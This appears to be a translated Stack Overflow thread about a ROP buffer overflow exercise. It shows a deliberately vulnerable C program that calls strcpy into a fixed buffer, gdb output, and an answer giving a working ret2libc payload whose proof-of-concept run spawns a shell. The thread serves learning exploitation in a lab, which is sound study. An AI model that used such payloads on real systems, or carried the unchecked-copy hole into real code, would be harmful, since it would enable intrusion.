【问题标题】:ROP Buffer Overflow Exercise IssuesROP 缓冲区溢出练习问题
【发布时间】:2019-06-20 21:29:48
【问题描述】:

我正在做this 缓冲区溢出练习,但我似乎无法让它工作......

在文章的调用参数部分,他利用这个程序使用变量not_used而不是/bin/date

char* not_used = "/bin/sh";

void not_called() {
    printf("Not quite a shell...\n");
    system("/bin/date");
}

void vulnerable_function(char* string) {
    char buffer[100];
    strcpy(buffer, string);
}

int main(int argc, char** argv) {
    vulnerable_function(argv[1]);
    return 0;
}

他通过获取not_usedsystem@plt 内存地址,然后用它们替换堆栈来做到这一点:

| 0x8048580 <not_used>             |
| 0x43434343 <fake return address> |
| 0x8048360 <address of system>    |
| 0x42424242 <fake old %ebp>       |
| 0x41414141 ...                   |
|   ... (0x6c bytes of 'A's)       |
|   ... 0x41414141                 |

但是,当我尝试这样做时,我只收到了一个Segmentation Fault

frinto@kali:~/Documents/theclang/programs/rop/argrop$ gdb -q a.out
Reading symbols from a.out...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x122e
(gdb) run
Starting program: /home/frinto/Documents/theclang/programs/rop/argrop/a.out 

Breakpoint 1, 0x5655622e in main ()
(gdb) print 'system@plt'
$1 = {<text variable, no debug info>} 0x56556050 <system@plt>
(gdb) x/s (int)not_used
0x56557008: "/bin/sh"
(gdb) 

然后我构建了我的有效载荷并运行它:

frinto@kali:~/Documents/theclang/programs/rop/argrop$ ./a.out "$(python -c 'print "A"*0x6c + "BBBB" + "\x50\x60\x55\x56" + "CCCC" + "\x08\x70\x55\x56"')"
Segmentation fault

这可能是什么问题?提前感谢您的帮助!

附注内存随机化被禁用

【问题讨论】:

  • 很可能您的disas main 与教程不同,因此您需要调整您的argv[1] 有效负载(一方面,您已经构建了一个PIE 二进制,而本教程没有)。在编译和链接时添加-fno-PIE -no-pie 可能会有所帮助。

标签: c assembly x86 gdb buffer-overflow


【解决方案1】:

如果NXASLR 被禁用,只需执行ret2libc,不要将其指向功能not_called()

我使用 IDA Pro 找到了not_used 变量的字符串地址:

  1. 字符串 /bin/sh 地址 = 0x08048530
  2. system() 地址 = 0xb7e36da0
  3. 假地址 = JUNK

利用:

`python -c 'print "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+"\xa0\x6d\xe3\xb7"+"JUNK"+"\x30\x85\x04\x08"'`

概念验证:

% ./vulnerable `python -c 'print "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+"\xa0\x6d\xe3\xb7"+"JUNK"+"\x30\x85\x04\x08"'`
$

【讨论】:

    猜你喜欢
    • 2013-10-08
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2019-10-23
    • 2015-12-16
    • 1970-01-01
    • 2010-11-11
    • 1970-01-01
    相关资源
    最近更新 更多